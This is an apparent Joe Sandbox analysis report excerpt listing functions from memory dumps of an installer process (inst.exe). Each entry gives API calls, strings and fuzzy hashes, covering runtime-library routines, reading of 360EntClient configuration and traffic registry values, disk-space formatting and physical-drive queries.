Instruction Fuzzy Hash: BE11C476345350CBCB21CE2CE804A1AB7E9ABE7621F140A6EE291CB741C771D815C3A4

Function 037793F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0377941D
std::_Xinvalid_argument.LIBCPMT ref: 0377944A

Strings

invalid string position, xrefs: 03779445

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position
API String ID: 3614006799-1799206989
Opcode ID: 40e59f42eb299c3c28296128d02b7115b1ae4b708bd0614fab2e6ad35cbc93aa
Instruction ID: 1028f1ae4f738cf36d145fa069716451221bb25a43e6f33e648e9742ba3b0ef8
Opcode Fuzzy Hash: 40e59f42eb299c3c28296128d02b7115b1ae4b708bd0614fab2e6ad35cbc93aa
Instruction Fuzzy Hash: 690149336013109BDB24EE6CDC8478AF3A9AF42660F150A6DE6529FAC1D771EA41C3E1

Function 02BD6FA1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

__output_l.LIBCMT ref: 02BD6FFC

Part of subcall function 02BD70E4: __getptd_noexit.LIBCMT ref: 02BD70E4

Strings

B, xrefs: 02BD6FF5

Memory Dump Source

Source File: 00000004.00000002.4154101487.0000000002BD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bd0000_UNK_.jbxd

Similarity

API ID: __getptd_noexit__output_l
String ID: B
API String ID: 2141734944-1255198513
Opcode ID: 9d13b0dc1e7cc3b4a828052403ade02a95932ad8b58c16c5deaaa246e36644c3
Instruction ID: 26c3cfbb534d5c28f3d13c4fa3d901ca8221c941ad22f4274a795039ba535cc1
Opcode Fuzzy Hash: 9d13b0dc1e7cc3b4a828052403ade02a95932ad8b58c16c5deaaa246e36644c3
Instruction Fuzzy Hash: 7D0169729042499BDF119FA8DC01BEEBBFAFB04364F0041A5E924A62C0EB759501DBA5

Function 035FF179 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

__output_l.LIBCMT ref: 035FF1D4

Part of subcall function 035FF2DA: __getptd_noexit.LIBCMT ref: 035FF2DA

Strings

B, xrefs: 035FF1CD

Memory Dump Source

Source File: 00000004.00000002.4158929233.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35f0000_UNK_.jbxd

Similarity

API ID: __getptd_noexit__output_l
String ID: B
API String ID: 2141734944-1255198513
Opcode ID: 87aa76b5352f051ca7e96a60a55cb843f290c199b1586efbdbad223d858718fb
Instruction ID: 4e9fecea39a1654b3e7a8de0aff1942ca4b305ce39d8be7a435fcefddc134715
Opcode Fuzzy Hash: 87aa76b5352f051ca7e96a60a55cb843f290c199b1586efbdbad223d858718fb
Instruction Fuzzy Hash: 7F016D75E00249AFDF10EFA4DC01AEEBBB8FB45364F144159E924AA2D0D778D501CBB5

Function 03779570 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0377957F

Part of subcall function 0377EF86: std::exception::exception.LIBCMT ref: 0377EF9B
Part of subcall function 0377EF86: __CxxThrowException@8.LIBCMT ref: 0377EFB0
Part of subcall function 0377EF86: std::exception::exception.LIBCMT ref: 0377EFC1

_memmove.LIBCMT ref: 037795B5

Strings

invalid string position, xrefs: 0377957A

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: invalid string position
API String ID: 1785806476-1799206989
Opcode ID: 6e561602548df59aa423ef116e71b339430446235cbf67c9b2f2b17bdafc727a
Instruction ID: e127d9000e8cc613ec10c13525ccffd8e229ed22466485932702a251d5df9a93
Opcode Fuzzy Hash: 6e561602548df59aa423ef116e71b339430446235cbf67c9b2f2b17bdafc727a
Instruction Fuzzy Hash: BC01A2317017218FDB25CE2CED9462AF7E7DBC65907280A2CD291CBB8AD7B1DC428794

Function 0377D1C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0377D1D4

Part of subcall function 0377EF39: std::exception::exception.LIBCMT ref: 0377EF4E
Part of subcall function 0377EF39: __CxxThrowException@8.LIBCMT ref: 0377EF63
Part of subcall function 0377EF39: std::exception::exception.LIBCMT ref: 0377EF74

_memmove.LIBCMT ref: 0377D20D

Strings

vector<T> too long, xrefs: 0377D1CF

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: d0e794852cdeeb9cfeca39db95e8a6a6d9bd9df9a41b8b0d5752cb5b1117a906
Instruction ID: cf85781785123f047ad4a869e0d19d78ffad52df29cb7783939a490abe37f379
Opcode Fuzzy Hash: d0e794852cdeeb9cfeca39db95e8a6a6d9bd9df9a41b8b0d5752cb5b1117a906
Instruction Fuzzy Hash: 3C01DD779046119FEB10EE6DE895C2E7798E680251BC9822AEC12C7608E774A8158750

Function 03778430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 03778443

Part of subcall function 0377EF39: std::exception::exception.LIBCMT ref: 0377EF4E
Part of subcall function 0377EF39: __CxxThrowException@8.LIBCMT ref: 0377EF63
Part of subcall function 0377EF39: std::exception::exception.LIBCMT ref: 0377EF74

_memmove.LIBCMT ref: 0377846E

Strings

vector<T> too long, xrefs: 0377843E

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: 2bceb334cb41c9771ae355cf3e834e3f4fe4b742e244084d21488709c33b424b
Instruction ID: 0c58be696cdc7eb4abc1f0356990a02e01ef2d10edeca4460a8c06ac29c69edb
Opcode Fuzzy Hash: 2bceb334cb41c9771ae355cf3e834e3f4fe4b742e244084d21488709c33b424b
Instruction Fuzzy Hash: 880162B16003099FDF24DEA9DC9A92BB3D9EF542147184A2DE45ACB740E670F801C761

Function 02BE3414 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02BE343E
__CallSettingFrame@12.LIBCMT ref: 02BE348A

Strings

j, xrefs: 02BE3414

Memory Dump Source

Source File: 00000004.00000002.4154101487.0000000002BD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bd0000_UNK_.jbxd

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: 2a3c231524d2f5714940ff7c9f67256147f183406962bf184a7791e03a03933a
Instruction ID: 8929435d59c7487ddaed6665b5f73db80cc079a7f84983ba3ea02a34c19ee1ce
Opcode Fuzzy Hash: 2a3c231524d2f5714940ff7c9f67256147f183406962bf184a7791e03a03933a
Instruction Fuzzy Hash: 1311A971800264EBCF12EF58C4843BCBBB1FF00728F1880C9D89A2B682C375A991CF91

Function 037906D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0379010A: __getptd.LIBCMT ref: 03790110
Part of subcall function 0379010A: __getptd.LIBCMT ref: 03790120

__getptd.LIBCMT ref: 037906E3

Part of subcall function 03783E5B: __getptd_noexit.LIBCMT ref: 03783E5E
Part of subcall function 03783E5B: __amsg_exit.LIBCMT ref: 03783E6B

__getptd.LIBCMT ref: 037906F1

Strings

csm, xrefs: 037906FF

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: b3fce28b2bddc590aa98f0218856aed1c2aaf2d0e4e6e47b24808f92d36aa4a8
Instruction ID: e79867cc140fc6f096fa6b5c0769a01562132085a2ee3ce18a8a587070ae8107
Opcode Fuzzy Hash: b3fce28b2bddc590aa98f0218856aed1c2aaf2d0e4e6e47b24808f92d36aa4a8
Instruction Fuzzy Hash: 3B014B38811305CEEF35DF66E8886BDB7FAAF04221F684A6FD0599A250DB309581CF41

Function 02BE37A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02BE37AF

Part of subcall function 02BD98E6: __getptd_noexit.LIBCMT ref: 02BD98E9
Part of subcall function 02BD98E6: __amsg_exit.LIBCMT ref: 02BD98F6

__getptd.LIBCMT ref: 02BE37BD

Strings

csm, xrefs: 02BE37CB

Memory Dump Source

Source File: 00000004.00000002.4154101487.0000000002BD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bd0000_UNK_.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: f0e1e4535676af74e2e30162e3fe80640730f6540ac6db6f2fff18db7859968d
Instruction ID: c28a44bafd5fa0485146cb14dedc36111eeda28129167feaf5159b072e0f9c9b
Opcode Fuzzy Hash: f0e1e4535676af74e2e30162e3fe80640730f6540ac6db6f2fff18db7859968d
Instruction Fuzzy Hash: 05014634800205DACF38AF21C444ABCB3F6EF04315F6488EED4A297290DB32A580DF61

Function 03610093 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 036100A2

Part of subcall function 0360381A: __getptd_noexit.LIBCMT ref: 0360381D
Part of subcall function 0360381A: __amsg_exit.LIBCMT ref: 0360382A

__getptd.LIBCMT ref: 036100B0

Strings

csm, xrefs: 036100BE

Memory Dump Source

Source File: 00000004.00000002.4158929233.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35f0000_UNK_.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: b3fce28b2bddc590aa98f0218856aed1c2aaf2d0e4e6e47b24808f92d36aa4a8
Instruction ID: d585524c3454fd122af8502121ac202c1501c4f49c648fa11338e335f2956eff
Opcode Fuzzy Hash: b3fce28b2bddc590aa98f0218856aed1c2aaf2d0e4e6e47b24808f92d36aa4a8
Instruction Fuzzy Hash: F30162388053059ACF78DFA5C54166EBBB9AF00212F6C845ED4C1AA790CB3895F1CB41

Function 02C737C9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02C732AE: __getptd.LIBCMT ref: 02C732B4
Part of subcall function 02C732AE: __getptd.LIBCMT ref: 02C732C4

__getptd.LIBCMT ref: 02C737D8

Part of subcall function 02C6990F: __getptd_noexit.LIBCMT ref: 02C69912
Part of subcall function 02C6990F: __amsg_exit.LIBCMT ref: 02C6991F

__getptd.LIBCMT ref: 02C737E6

Strings

csm, xrefs: 02C737F4

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: f0e1e4535676af74e2e30162e3fe80640730f6540ac6db6f2fff18db7859968d
Instruction ID: e0b35dacb7c7e3d7778fdb13238e0573374c274289638d6a3b778842b4c45dce
Opcode Fuzzy Hash: f0e1e4535676af74e2e30162e3fe80640730f6540ac6db6f2fff18db7859968d
Instruction Fuzzy Hash: 60016D36801285CBCF34AF26C4447ACB3B6AF50215F5444AFD4905B660CB35A781FF11

Analysis Process: inst.exePID: 7448, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	11.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	163

Executed Functions

Function 5F4FFE46 Relevance: 66.9, APIs: 20, Strings: 18, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 5F4EAF8A: GetFileAttributesW.KERNEL32(000000FF,5F4FFE4F,?,00000001,00000000,00000000,00000000,000000FF,00000001,5F5BC288,00000000), ref: 5F4EAF8E

_memset.LIBCMT ref: 5F4FFED6
_wcslen.LIBCMT ref: 5F4FFF03
_memset.LIBCMT ref: 5F4FFF38
inet_addr.WS2_32(00000000), ref: 5F4FFF76
inet_addr.WS2_32(00000000), ref: 5F4FFFAC
GetPrivateProfileIntW.KERNEL32(EntClient,TRPort,00000050,?), ref: 5F4FFFDB
GetPrivateProfileIntW.KERNEL32(EntClient,EntNat,000000FF,?), ref: 5F4FFFF7
_memset.LIBCMT ref: 5F500014
_wcslen.LIBCMT ref: 5F50003D
_memset.LIBCMT ref: 5F500076
inet_addr.WS2_32(00000000), ref: 5F5000B4
inet_addr.WS2_32(00000000), ref: 5F5000EA
_memset.LIBCMT ref: 5F500115
_wcslen.LIBCMT ref: 5F500142
_memset.LIBCMT ref: 5F500165

Part of subcall function 5F513CE4: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,0000083F,?,00000000,?,5F513E87,?,?,0000083F), ref: 5F513CFD

inet_addr.WS2_32(00000000), ref: 5F5001A3
inet_addr.WS2_32(00000000), ref: 5F5001D9
_wcslen.LIBCMT ref: 5F50020C
__wcslwr.LIBCMT ref: 5F500227
wsprintfW.USER32 ref: 5F5002E0

Part of subcall function 5F4F4C30: __EH_prolog3.LIBCMT ref: 5F4F4C37

Strings

\livep.dat, xrefs: 5F500250, 5F500255, 5F50027E
TRPort, xrefs: 5F4FFFD0
TRServer, xrefs: 5F4FFEEA
[CTaskMgr::__update_config] TRServer:%s, xrefs: 5F4FFF18
\360EntClient_download.ini, xrefs: 5F4FFE63
PdownList, xrefs: 5F5001F9
FIVESIZE, xrefs: 5F500343
P2PHAVESIZE, xrefs: 5F500317
SDServer, xrefs: 5F500129
SINGLESIZE, xrefs: 5F50032D
%W_, xrefs: 5F5002EC
EntClient, xrefs: 5F4FFEEF, 5F4FFFD5, 5F4FFFDA, 5F4FFFF6, 5F50002D, 5F50012E, 5F5001FE
[CTaskMgr::__update_config] STServer:%s, xrefs: 5F500052
EntNat, xrefs: 5F4FFFF1
", xrefs: 5F5002FE
PolicyControl%d, xrefs: 5F5002DA
STServer, xrefs: 5F500028
[CTaskMgr::__update_config] PdownList:%s, xrefs: 5F500217

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: _memsetinet_addr$_wcslen$PrivateProfile$AttributesByteCharFileH_prolog3MultiWide__wcslwrwsprintf
String ID: "$EntClient$EntNat$FIVESIZE$P2PHAVESIZE$PdownList$PolicyControl%d$SDServer$SINGLESIZE$STServer$TRPort$TRServer$[CTaskMgr::__update_config] PdownList:%s$[CTaskMgr::__update_config] STServer:%s$[CTaskMgr::__update_config] TRServer:%s$\360EntClient_download.ini$\livep.dat$%W_
API String ID: 1263679763-1697709049
Opcode ID: 8c0d9a9b73e1e640882b4f23f2278e6a9db053b5681d8ac126cd6825cad9eaac
Instruction ID: 42242d2c2961620f3d5c9cc6a60d6dfaf4602da0568fd3451bca0a74e9d2165a
Opcode Fuzzy Hash: 8c0d9a9b73e1e640882b4f23f2278e6a9db053b5681d8ac126cd6825cad9eaac
Instruction Fuzzy Hash: 4AF193B2901349ABDB11EFA4CC54BEE77EDEF40360F44012AF919AB1C1EB74A6558B90

Function 5F4FF494 Relevance: 51.2, APIs: 16, Strings: 13, Instructions: 498
registrysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 5F4FF4B3
GetTickCount.KERNEL32 ref: 5F4FF4BA
WaitForSingleObject.KERNEL32(00000000,00000000,?,?,?,?,?), ref: 5F4FF573
CloseHandle.KERNEL32(00000000), ref: 5F4FF588

Part of subcall function 5F51D2AB: __EH_prolog3.LIBCMT ref: 5F51D2B2
Part of subcall function 5F51D2AB: std::runtime_error::runtime_error.LIBCPMT ref: 5F51D2DB
Part of subcall function 5F51D2AB: __CxxThrowException@8.LIBCMT ref: 5F51D2F0

_memset.LIBCMT ref: 5F4FF730
RegQueryValueExW.ADVAPI32(00000000,LastUploadDate,00000000,?,00000000,?,?,?,?), ref: 5F4FF79E
RegQueryValueExW.ADVAPI32(?,LastUploadTime,00000000,?,00000000,?), ref: 5F4FF7CC
RegQueryValueExW.ADVAPI32(?,LastUploadTraffic,00000000,?,00000000,?), ref: 5F4FF7FA
RegQueryValueExW.ADVAPI32(?,LastDownTraffic,00000000,?,00000000,?), ref: 5F4FF828
RegQueryValueExW.ADVAPI32(?,CurUploadTime,00000000,?,00000000,?), ref: 5F4FF856
RegQueryValueExW.ADVAPI32(?,CurUploadTraffic,00000000,?,00000000,?), ref: 5F4FF884
RegQueryValueExW.ADVAPI32(?,CurDownTraffic,00000000,?,00000000,?), ref: 5F4FF8B2
RegCloseKey.ADVAPI32(?), ref: 5F4FF8C3
__time64.LIBCMT ref: 5F4FFA31
__time64.LIBCMT ref: 5F4FF653

Part of subcall function 5F52AE62: GetSystemTimeAsFileTime.KERNEL32(5F5BC3F0,?,?,?,5F4FEABC,00000000,?,5F5BC3F0,5F5BC288), ref: 5F52AE6D
Part of subcall function 5F52AE62: __aulldiv.LIBCMT ref: 5F52AE8D

__time64.LIBCMT ref: 5F4FFA88

Strings

LastUploadTraffic, xrefs: 5F4FF7EC
LastUploadDate, xrefs: 5F4FF792
MaxDnSpeed, xrefs: 5F4FF9B9
CurDownTraffic, xrefs: 5F4FF8A4
CurUploadTime, xrefs: 5F4FF848
MaxUpUpdate, xrefs: 5F4FFA37
NonUrgentMode, xrefs: 5F4FF61E, 5F4FF671
MaxUpSpeed, xrefs: 5F4FFA22
reg NonUrgentMode:%d, xrefs: 5F4FF633
LastUploadTime, xrefs: 5F4FF7BE
CurUploadTraffic, xrefs: 5F4FF876
LastDownTraffic, xrefs: 5F4FF81A
reg NonUrgentMode:%d timeout, xrefs: 5F4FF684

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: QueryValue$__time64$CloseH_prolog3Time$CountException@8FileHandleObjectSingleSystemThrowTickWait__aulldiv_memsetstd::runtime_error::runtime_error
String ID: CurDownTraffic$CurUploadTime$CurUploadTraffic$LastDownTraffic$LastUploadDate$LastUploadTime$LastUploadTraffic$MaxDnSpeed$MaxUpSpeed$MaxUpUpdate$NonUrgentMode$reg NonUrgentMode:%d$reg NonUrgentMode:%d timeout
API String ID: 4167386882-1126348924
Opcode ID: 0804748605a4cbd95e40c5f68426cfd32d630a07ed4d503ee5594860c6db2b2e
Instruction ID: 3e3d8a4e02641bd6003c2b9ae86cf41aaa309f617f81334ccdb4b0bf1c98e024
Opcode Fuzzy Hash: 0804748605a4cbd95e40c5f68426cfd32d630a07ed4d503ee5594860c6db2b2e
Instruction Fuzzy Hash: C6123CB1D0134A9BDB14DFA5C984AEEB7F8FF84320F14462AE516A7350EB34A945CF90

Function 5F52A6BA Relevance: 45.8, APIs: 25, Strings: 1, Instructions: 313
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcspbrk.LIBCMT ref: 5F52A712

Part of subcall function 5F52DC9F: __getptd_noexit.LIBCMT ref: 5F52DC9F

Part of subcall function 5F52DC8C: __getptd_noexit.LIBCMT ref: 5F52DC8C

Part of subcall function 5F528356: __decode_pointer.LIBCMT ref: 5F528361

Strings

./\, xrefs: 5F52A77F

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: __getptd_noexit$__decode_pointer_wcspbrk
String ID: ./\
API String ID: 2357261805-3176372042
Opcode ID: 4561a9e80691eebe3dc8c5cbd30e70ce8d921a6b1c4719a134cd852d99404b40
Instruction ID: ae9a32289b643f6f4f7b0839683748e8ea8ea5a067fbe56e703533b974e3c66f
Opcode Fuzzy Hash: 4561a9e80691eebe3dc8c5cbd30e70ce8d921a6b1c4719a134cd852d99404b40
Instruction Fuzzy Hash: B1C167F18016299ECB209F65CD446EAB7F8BF09311F0043BAE65CD25C1E735AA91CF69

Function 001B592D Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 141COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?), ref: 001B595E
_memset.LIBCMT ref: 001B597C
GetDiskFreeSpaceExW.KERNEL32(?,00000000,00000000,?), ref: 001B598E
__aulldiv.LIBCMT ref: 001B59F4
__aulldiv.LIBCMT ref: 001B5A3B
__aulldiv.LIBCMT ref: 001B5A71

Strings

%d.%d GB, xrefs: 001B5A8F
c:\, xrefs: 001B593D
%d MB, xrefs: 001B5A47
%d GB, xrefs: 001B5A7D
%d Bytes, xrefs: 001B59B7
%d.%d MB, xrefs: 001B5A50
%d.%d KB, xrefs: 001B5A09
%d KB, xrefs: 001B5A00

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: __aulldiv$DiskDriveFreeSpaceType_memset
String ID: %d Bytes$%d GB$%d KB$%d MB$%d.%d GB$%d.%d KB$%d.%d MB$c:\
API String ID: 3571217518-3034477485
Opcode ID: 6ba342d5eea3093c564dd165c499a1b17acae8cdef48cd3f997eabd0f23834a1
Instruction ID: b8e4e43aeed45aea42c77803b13175368f48f94ff7975567cd47bab80541840b
Opcode Fuzzy Hash: 6ba342d5eea3093c564dd165c499a1b17acae8cdef48cd3f997eabd0f23834a1
Instruction Fuzzy Hash: BD41D6B1D10615BADB08DBB4AC96FFF76BAEB56704F21412AF506F3181E770491086A1

Function 001D1A51 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 120fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001D1AAD
CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000,?,?,?,?,?,0017BD49,?), ref: 001D1AE5
_memset.LIBCMT ref: 001D1B06
DeviceIoControl.KERNEL32(?,0004D02C,?,0000022C,?,0000022C,?,00000000), ref: 001D1B82
_memset.LIBCMT ref: 001D1B93
_memcpy_s.LIBCMT ref: 001D1BA5
CloseHandle.KERNEL32(?,?,00000000,?,?,?,?,?,0017BD49,?), ref: 001D1BCA

Strings

\\.\PHYSICALDRIVE%d, xrefs: 001D1AB9

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: _memset$CloseControlCreateDeviceFileHandle_memcpy_s
String ID: \\.\PHYSICALDRIVE%d
API String ID: 2371279349-613073274
Opcode ID: 3316a31004345573f7c1b6115653f0bae3f7d47106d7d11dd7fb3cf7f4fb1740
Instruction ID: 02b74669028a8ae0896dd407e421c43bd359b950d2ee475b38b1e965d777e9f2
Opcode Fuzzy Hash: 3316a31004345573f7c1b6115653f0bae3f7d47106d7d11dd7fb3cf7f4fb1740
